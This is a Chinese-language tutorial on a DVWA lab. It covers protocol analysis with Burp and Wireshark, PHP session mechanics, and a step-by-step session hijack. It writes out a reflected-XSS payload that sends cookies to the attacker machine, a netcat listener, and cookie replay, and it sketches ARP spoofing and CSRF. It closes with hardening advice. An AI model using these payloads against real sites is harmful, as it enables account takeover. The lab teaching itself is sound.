1. 实验环境搭建:为什么我坚持用虚拟机加快照方案
做Web应用安全实验,第一道坎往往不是实验本身,而是环境。很多初学者上来就问"用什么工具""跑什么脚本",结果折腾半天连抓包都抓不到,更别提分析协议和做会话劫持了。其实一次Web应用安全基础实验能不能顺利跑通,百分之六十取决于环境搭得对不对。
我在带的几轮实验里,踩过不少环境的坑。先说结论:本地实验环境,我推荐虚拟机方案,具体是攻击机和靶机双虚拟机,加上Burp Suite作为代理抓包工具,Wireshark作为底层协议分析工具。这套组合重量适中,适合入门,也足够支撑到中高级实验。
1.1 双虚拟机模型与快照策略
所谓双虚拟机,简单说就是一台Kali Linux作为攻击机,一台Ubuntu Server或带桌面的Ubuntu作为靶机,靶机上运行存在漏洞的Web应用。为什么用两台虚拟机而不是一台搞定?因为实验过程里你要模拟真实的攻击路径:攻击机发送恶意请求,靶机返回响应。两台虚拟机之间通过网络通信,才能完整看到数据包的流转,也才能做后续的网络层协议分析。如果所有组件都在一台机器上,很多包是走回环接口的,抓包时看到的内容会被简化,对理解协议反而不利。
快照策略是这里面的关键。我强烈建议在搭建完靶机环境后,立刻给虚拟机打一个快照。原因很直接:会话劫持、XSS注入这类实验,非常容易把靶机环境搞乱,比如你往数据库里塞了脏数据,或者改了某个配置文件导致服务起不来。没有快照的话,就得从头搭一遍环境,那种挫败感我体会过不止一次。有了快照,实验做完一条命令恢复到干净状态,下一组实验直接继续。
具体到虚拟机软件,我用的是VMware Workstation Pro,VirtualBox也完全够用。两者的区别在于VMware对网络模式的模拟更细致一些,特别是在自定义网段、做双机互联时操作更顺手。网络模式建议选NAT或自定义仅主机模式,我习惯用仅主机模式,理由是攻击机和靶机在一个隔离的网段里,避免实验流量跑到外部网络去——一方面是安全考虑,另一方面也方便抓包,不会有乱七八糟的背景流量干扰分析。
1.2 靶场选择:DVWA还是OWASP Juice Shop
靶机上的Web应用,我推荐从DVWA入手,也就是Damn Vulnerable Web Application。DVWA是一个老牌的PHP漏洞靶场,里面集成了SQL注入、XSS、文件上传、CSRF等常见漏洞场景。它的好处是每个漏洞模块都是独立的,配置简单,运行轻量,非常适合做基础实验。进阶之后可以换OWASP Juice Shop,那是Node.js写的现代靶场,漏洞场景更贴近真实业务,但对新人来说信息量偏大,容易淹没在细节里。
DVWA的安装其实不复杂,环境是LAMP或LNMP都行。我用的是Ubuntu 22.04加Apache加PHP 7.4和MySQL。装好之后把DVWA的压缩包解压到网站目录,配置数据库,访问安装页面按向导走完就行。有一个细节要注意:DVWA会生成一个config/config.inc.php文件,里面包含数据库连接信息。默认配置下数据库用户名是root,密码是空,如果你本机MySQL设置了密码,记得改这个文件,否则会卡在安装步骤。
DVWA的安全等级分四个档位:Low、Medium、High、Impossible。做基础实验时,第一遍请用Low,目的是理解漏洞存在的原因,不要一上来就挑战High。我在实验里见过太多人把等级调成High然后抓不到会话固定或XSS的利用点,最后卡住。实验的目的是掌握原理,不是炫耀难度。
1.3 代理抓包与协议分析的配备:Burp Suite和Wireshark的分工
很多人分不清Burp Suite和Wireshark的职责边界,这会导致一个奇怪的局面:开了Wireshark看到满屏乱七八糟的TCP包,却找不到HTTP请求在哪儿;或者开了Burp却看不到底层网络协议信息。其实两者的分工非常清晰:
- Burp Suite是应用层代理,负责截获、修改、重放HTTP/HTTPS请求,它能看到完整的请求行、请求头、Cookie、请求体,并且可以随意改包。
- Wireshark是网络层协议分析器,负责查看TCP三次握手、IP分片、ARP请求、TLS握手等底层交互。
在一次会话劫持实验里,正确的使用路径是这样的:攻击机浏览器配置代理指向Burp Suite(默认127.0.0.1:8080),Burp把请求转发给靶机,同时Wireshark在虚拟网卡上监听这段流量。这样你既能在Wireshark里看到数据包的完整物理链路,又能在Burp里看到HTTP层的具体内容。两层信息对照着看,协议就活了。
注意:Burp Suite的默认监听地址是127.0.0.1:8080,但如果你想让靶机上的流量也走攻击机的Burp,需要把监听地址改成0.0.0.0:8080,同时靶机浏览器设置代理指向攻击机的IP。这个细节很容易被忽略。
2. 协议分析实验:从TCP三次握手到HTTP报文的完整链路
协议分析是整个实验里最"无聊"但最有价值的部分。多数人学HTTP只知道有GET、POST,但拿到真实报文时反而认不出每一行的意义。所以这个实验的设计思路是:先抓一段正常的HTTP请求,然后把报文逐行拆给你看。
2.1 连接建立:TCP三次握手在抓包里的样子
当你访问靶机上的DVWA首页时,Wireshark里会出现一组规律非常明显的包:客户端发一个SYN,服务器回SYN+ACK,客户端再发ACK。这就是三次握手。这三步在Wireshark里通常被标记为包号连续的三个条目,用不同的背景色显示。
我让学员做的第一个动作,不是直接看HTTP层,而是先找这一段三次握手。为什么?因为三次握手决定了后续所有HTTP数据包能否正常传输。你观察几个参数:客户端的初始序列号(Sequence Number)和确认号(Acknowledgment Number)是如何递增的,窗口大小(Window Size)如何协商。序列号这个东西,在后续会话劫持的变种攻击里可以利用——如果攻击者能猜到一个TCP连接的序列号,理论上可以伪造数据包。虽然现代系统大多是随机化初始序列号,但理解这个机制仍然重要。
真实抓包中,你会看到HTTP请求往往在第4个包或第5个包出现,也就是三次握手完成之后的第一个应用层数据包。客户端发GET,服务器回200 OK,然后一个RST或FIN结束连接。这个顺序是固定的,你掌握了规律后,以后看任何抓包文件都能一眼定位关键内容。
2.2 HTTP请求报文逐行拆解
在Burp Suite的HTTP History里,选中那条GET请求,你会看到以下内容,我用一个实际例子展示:
GET /DVWA/login.php HTTP/1.1 Host: 192.168.56.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Accept: text/html,application/xhtml+xml,... Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: PHPSESSID=abcd1234efgh5678ijkl第一行是请求行,由方法、路径、协议版本三段构成。这里有一个很多人不理解的细节:路径为什么是/DVWA/login.php而不是http://192.168.56.10/DVWA/login.php?因为HTTP协议本身就是逐段的,Host字段单独承担了域名和端口信息,路径里的斜杠是相对于网站根目录的。设计成这样是为了支持虚拟主机,即一个IP上跑多个域名。
接下来看请求头。最基本的四个头是User-Agent、Accept、Accept-Language、Connection。User-Agent告诉服务器客户端的浏览器和操作系统,这是协议分析里最容易做手脚的部分——后续实验里你会发现,很多Web应用的基础防护就是看User-Agent里的关键词,比如检测是不是SQLMap的UA,所以攻击者往往会伪造UA。
再往下是Cookie。这里看到的是PHPSESSID,PHP默认的会话Cookie名。你注意它的格式是一串32位的十六进制字符,这就是下一节要深入研究的会话标识符。Cookie在请求头里是明文存在的——除非你的站点启用了HTTPS。明文意味着当流量经过网络时,任何在链路节点上抓包的人都能看到这个Cookie的值。这就为会话劫持埋下了伏笔。
2.3 响应报文与状态码的语义
再看响应,Burp里看到的内容结构类似:
HTTP/1.1 200 OK Date: Mon, 10 Jun 2024 08:30:00 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=abcd1234efgh5678ijkl; path=/ Content-Type: text/html;charset=utf-8响应行、响应头、空行、响应体,结构上是固定的。状态码这块我建议记几个最常见的:200表示成功,302表示临时重定向,400表示请求语法错误,401表示未认证,403表示禁止访问,404是资源不存在,500是服务器内部错误,503是服务不可用。做会话劫持实验时,302出现得很频繁——因为很多页面会检查登录状态,未登录就重定向到登录页。你重放一个带有合法Cookie的请求时,如果返回200而不是302,说明你伪造的会话被服务器认可了。这是判断攻击是否成功最直观的标准。
还有一个值得注意的响应头:Set-Cookie。这个头的存在意味着服务器要求浏览器保存一个Cookie。仔细看,Set-Cookie里还带着path=/,它声明了这个Cookie在哪个路径下生效。如果你在抓包时看到两个不同的Set-Cookie头同一时间出现,通常表示服务器在这个请求里既更新了会话ID,又设置了一个业务相关的Cookie。实验里要区分清楚这两个的作用。
3. 会话机制拆解:服务器到底怎么记住你的登录状态
从协议分析过渡到会话劫持,中间必须搞清楚一个核心概念:服务器是无状态的HTTP协议,凭什么知道"当前这个请求是已经登录的用户发来的"?
答案就是Session与Cookie的配合。简单粗暴地理解:Cookie是你口袋里的一张入场券,入场券上印着一个编号,这个编号就是Session ID。服务器那边有一本花名册,每个编号对应一个用户的具体信息——登录状态、用户名、角色权限等等。你每次请求时把入场券给门卫看,门卫拿编号去查花名册,确认你的身份,然后放你进门或者把你赶出去。
3.1 Session ID的生成与存储策略
在PHP默认配置下,Session ID是一个32位的十六进制随机字符串,由session.hash_function和session.entropy_file等配置项决定生成算法。它保存在服务器端的文件里,默认位置在/var/lib/php/sessions,文件名就叫sess_加上Session ID。你可以直接在靶机上打开这个目录,看到一堆文件,每个文件对应一个在线会话。文件内容就是用户的会话数据,比如:
username|s:5:"admin";role|s:5:"admin";结构上是PHP序列化后的数据。这里的重点在于:服务器的Session ID与用户的登录状态绑定,但你作为远程攻击者,是看不到服务器端文件的。你能看到的只有Cookie里的那个Session ID。会话劫持的全部思路,就是想办法拿到一个已登录用户的Session ID,然后用它伪造请求。
3.2 Cookie的属性和传递路径
Cookie本身有一些属性,直接影响安全性。实验里必须逐项检查:
| 属性 | 作用 | 安全影响 |
|---|---|---|
HttpOnly | 禁止JavaScript读取Cookie | 缺这个标志,XSS窃取Cookie很容易 |
Secure | 仅在有HTTPS加密连接时传输Cookie | 缺这个标志,HTTP明文流量可能泄露Cookie |
SameSite | 控制跨站请求是否携带Cookie | 缺这个属性,CSRF攻击风险大增 |
Path | 限定Cookie生效路径 | 设置过宽如/会让Cookie在任意页面生效 |
Expires/Max-Age | 控制Cookie有效期 | 持久Cookie比会话Cookie更危险 |
在DVWA的默认配置里,PHP通常会设置HttpOnly为关闭状态,这意味着浏览器端的脚本document.cookie可以直接读取到这个值。所以你一旦在页面里找到了一个反射型XSS漏洞,就可以通过JS脚本把Cookie值发送到攻击者控制的服务器。这就是后面实验的主线。
Cookie在HTTP层面的传递路径你也要熟:浏览器每次向同一个域名发起请求,会自动在请求头里带上对该域名有效且未过期的Cookie。这就意味着,即使某个请求本身和登录业务无关,Cookie也会跟着走。后面我们做会话重放实验时,就是要利用浏览器自动带Cookie这个机制,只不过把"浏览器"换成了我们的攻击工具。
3.3 会话劫持的三种典型攻击面
在基础实验里,会话劫持的攻击面主要有三类,我建议实验者分步理解:
第一类是网络嗅探。如果站点用HTTP明文传输,你可以在链路上部署Wireshark或ettercap,直接看到携带PHPSESSID的请求。这种情况在局域网内非常现实。实验里我们可以用VLAN隔离一个攻击机-靶机的环境,在攻击机上做ARP欺骗,让靶机的流量经过攻击机网卡,然后在流量里直接搜PHPSESSID关键字。这个思路在真实网络中同样可以复现民,虽然现代站点大多启用HTTPS,但仍有很多内网业务系统跑在HTTP上。
第二类是XSS窃取。通过注入一段JavaScript,把document.cookie的值通过一个请求发送到攻击者服务器。这个攻击链路的优势是跨站获取,不受网络位置限制,只要能诱导受害者浏览恶意页面就行。
第三类是会话固定。攻击者先自己获取一个合法的Session ID,然后诱导受害者使用这个ID完成登录。受害者登录成功后,由于服务器端的Session记录被更新成受害者的账户信息,而Cookie的值还是攻击者给的那个,攻击者拿着这个ID就可以冒充受害者。做这个实验时,你要在DVWA登录成功前后各看一次Cookie值和服务器端session文件内容的变化,对比一下就知道固定攻击的原理了。
4. 会话劫持实验全流程:从窃取到重放的完整攻击链路
前面把理论基础部分走完了,现在进入真正的实验环节。我以一个完整的会话劫持实验为例,把从攻击准备到利用成功的整条链路拆开来讲。这里用的都是DVWA靶场里的漏洞场景,全部行为发生在授权实验环境中,生产环境下不要直接套用。
4.1 攻击前的准备工作
首先确认实验环境状态。靶机上的DVWA安全等级设为Low,PHP的session.cookie_httponly设为Off(默认就是Off)。攻击机准备两个工具:Burp Suite和Firefox浏览器(配好代理)。另外起一个极简HTTP监听服务,可以用Python的http.server,也可以直接用Netcat监听端口,比如nc -lvnp 8888,用来接收被窃取的Cookie。
还有一个准备步骤:注册并登录两个DVWA账号,一个叫admin,用于被攻击;另一个叫attacker,用于在攻击后以普通账号身份重放admin的会话。两个账号的区别会让实验结果非常直观。
我在实际带实验时见过有人漏掉这一步,后面验证时根本分不清自己是否成功——因为所有人都用同一个账号来回切,看不出会话切换的效果。所以这一步不要省。
4.2 用反射型XSS窃取Cookie的完整链路
DVWA在Low等级下自带一个反射型XSS漏洞,在/DVWA/vulnerabilities/xss_r/页面。这个页面的name参数直接拼接到HTML里并且未做过滤。你输入一个普通字符串,它会在页面原样显示;输入一段HTML,浏览器会执行。
攻击URL构造如下:
http://192.168.56.10/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src='http://192.168.56.20:8888/?c='+document.cookie</script>这段代码的原理:浏览器加载恶意URL后,页面里的JavaScript创建一个新的Image对象,然后把document.cookie的内容拼接到一个向攻击机IP发起的图片请求URL里。为什么用new Image().src而不是fetch或XMLHttpRequest?因为图片请求天然可以跨域,不需要处理CORS,而且即使请求失败页面也不会报错,非常隐蔽。
在Burp的History里,你能看到两个请求:一个是xss_r页面的GET,里面带着被编码的脚本;另一个是向攻击机8888端口发起的图片请求,请求路径的c参数里就是Cookie明文值。提交给浏览器的载荷有个细节要注意:name参数中的<script>标签会被浏览器解析,但Burp发送的是URL编码后的内容,编码过程用Burp自带的Ctrl+U功能即可。
攻击端Netcat监听窗口会收到类似这样的数据:
GET /?c=PHPSESSID=abcdef1234567890abcdef1234567890 HTTP/1.1" 200 -注意PHPSESSID=abcdef...这段,这就是受害者的会话凭证,后面一步就要用它。
4.3 用Burp Suite重放伪造会话
拿到Cookie后,接下来验证它能不能有效冒充受害者身份。把Burp Suite的拦截功能关闭,随便发一个访问DVWA后台或受保护页面的请求,在Burp的Intercept或Repeater里手动把Cookie值改成刚才窃取到的PHPSESSID。
我推荐用Repeater来做这个实验。流程如下:
- 在Burp的HTTP History里找到任意一个请求
/DVWA/index.php的GET请求。 - 右键Send to Repeater。
- 在Repeater里把请求头的Cookie字段改成
PHPSESSID=abcdef1234567890abcdef1234567890。 - 发送请求,观察返回状态和页面内容。
对比两个结果:一个是未修改Cookie时返回的302或登录页,另一个是修改后返回的200和已登录页面。如果返回的页面里出现"Welcome to Damn Vulnerable Web Application"且没有重定向回login.php,说明服务器认定了这个伪造的会话,你的劫持链路打通了。
这里有个容易让人迷惑的地方:如果你使用的浏览器当前本来就有自己的会话Cookie,Burp发出的请求头里会自动带上那个真实Cookie。所以务必明确改的是哪一段。为了防止干扰,我可以再开一个无痕窗口或单独装一个Firefox Profile,让Burp请求不带干扰Cookie。
4.4 实验记录与判定成功的关键指标
完整的会话劫持实验需要做记录,将来写实验报告或复盘都方便。我建议按这个表格记录关键字段:
| 实验阶段 | 观察点 | 预期结果 |
|---|---|---|
| 正常登录 | 响应头Set-Cookie、服务器session文件 | 出现合法的PHPSESSID,session文件记录用户名 |
| XSS注入 | 攻击机监听端口收到的数据 | 收到目标Cookie值 |
| Cookie重放 | 修改Cookie后重放请求 | 返回200,页面显示已登录状态 |
| 退出验证 | 服务端删除session文件后重放 | 返回302到登录页,说明服务端已失效该会话 |
在验证成功之后,回到靶机上删掉/var/lib/php/sessions/下对应的session文件,再重放一次请求。观察服务器是否仍然认可这个Cookie。这一步可以直观理解服务端控制会话生命周期的特性——会话劫持的有效性取决于服务端的会话文件是否还存在。
5. 踩坑记录与加固方案的思考方向
实验做完只是一半,另一半是把防御视角补上。下面几条是我在实验和带实验过程中反复遇到的坑,以及从攻击反推防御的实操经验。
5.1 抓不到Cookie的几个常见原因
第一个坑:代理配置错误。Firefox里配置了Burp代理,但忘了装CA证书,导致HTTPS页面加载失败,请求根本没发出去。这个问题在访问HTTP站点时不存在,但一旦访问HTTPS就会遇到。
第二个坑:XSS载荷被执行了,但Cookie值没收到。原因通常是浏览器对Cookie设置了HttpOnly。如果是这个情况,你在浏览器控制台输入document.cookie会发现它返回空字符串或只返回其他非HttpOnly Cookie。要确定这一点,可以手动触发一次请求,在Burp里看真实请求头里的Cookie值——如果请求里有Cookie但脚本读不到,说明HttpOnly生效了。
第三个坑:结果收到了但看不出内容是Cookie。Netcat监听收到的内容可能夹杂二进制数据或大量请求记录。建议在监听命令里加上-q 1选项让Netcat等一秒就退出,或者用Python写一个十行的HTTPServer脚本,把请求路径打印得干净一些。
第四个坑非常隐蔽:DVWA的XSS等级为Low时,输入框对<script>标签是可以直接解析的。但如果你把URL直接粘贴到浏览器地址栏,浏览器会做一次编码转换,导致某些情况下+号变成空格,破坏载荷。正确做法是把完整URL作为一个参数,在Burp里发送。
5.2 从攻击链反推的会话安全加固要点
刚做完攻击实验,紧接着就应该问自己一个关键问题:如果我是运维方,要怎么让对方这套链路失效?答案其实分散在几个配置项里,我按优先级排序说明:
第一优先:给会话Cookie加上HttpOnly和Secure标志。PHP里可以通过session.cookie_httponly=1和session.cookie_secure=1设置。前者直接封死XSS窃取Cookie的路径,后者强制Cookie只在HTTPS传输,避免明文嗅探。这个配置在真实生产环境几乎是必须的操作。
第二优先:给所有Cookie加上SameSite=Lax或Strict。同样在PHP配置里设置session.cookie_samesite=Lax。这个属性可以阻止部分跨站请求自动携带Cookie,虽然它不是专门防御会话劫持的,但能大幅减少CSRF和跨站请求重放的风险面。
第三优先:缩短会话失效时间。把session.gc_maxlifetime从默认的1440秒(24分钟)调短到300秒甚至更短。这会让攻击者即使拿到Cookie,可用的时间窗口也大幅压缩。注意这会牺牲用户体验,所以生产上往往配合"记住我"之类的持久登录机制来平衡。
第四优先:检测和阻断异常会话异常。比如比较用户IP地址或User-Agent,如果Cookie对应的IP和UA发生变化,触发二次验证或直接踢出会话。这个方法效果很好但容易误伤——一个用户从家里切到移动网络就可能触发,所以一般作为风险提示而非硬性拦截。
5.3 扩展到CSRF攻击和更多Web安全实验
做完会话劫持实验后,下一步很自然的是做CSRF(跨站请求伪造)实验。两者的关系耐人寻味:会话劫持是利用窃取到的会话凭证冒充用户,而CSRF是诱导用户在不知情的情况下用他们自己的会话凭证提交恶意请求。前者是盗了钥匙,后者是借了正在用钥匙的人的手。
CSRF实验思路非常简单:在DVWA的csrf页面里,正常情况下修改密码需要一个旧密码字段确认。你可以构造一个页面,自动向修改密码的URL发起POST请求——如果DVWA没有校验Referer、没有Token、Cookie又允许跨站携带,那么受害者只要访问了这个恶意页面,密码就被改了,而他自己可能还毫无察觉。
另一个方向是结合Burp Suite的Session Handling规则来做自动化会话保持。这个技巧在做更复杂的漏洞利用时很实用:有些漏洞利用过程需要保持登录态,但服务端的会话过期时间很短,你可以在Burp里定义会话规则,让它自动从响应中提取新的Cookie值并替换到后续请求中。听起来复杂,实际操作就是把Response里的Set-Cookie值和后面Request里的Cookie绑定,做一个正则提取。
写在最后的一点个人看法
Web应用安全涉及的知识面很广,环境搭建、协议分析、会话劫持这条路走下来,其实已经把HTTP协议、Web服务运行机制和攻击面理解连成了一条线。我自己当年在做这类实验时最大的收获不是"学会攻击",而是搞清楚了一个页面请求从浏览器发出后,经过了哪些人的手,每一层上可以做哪些改动,哪些改动会让服务端无法察觉到。这些认知,之后做任何真实的Web开发、漏洞排查或安全测试都用得上。
不管你是以开发者的身份想给业务系统补上安全短板,还是以测试者的身份学习漏洞原理,都建议先把这套基础实验完整跑一遍。条件允许的话,做完会话劫持后再做一次CSRF和一次SQL注入,你会发现Web安全里许多高级攻击手法,本质上都是在这些基础机制叠加不同层级的绕过技巧。地基打得越扎实,后面分析复杂漏洞就越有底气。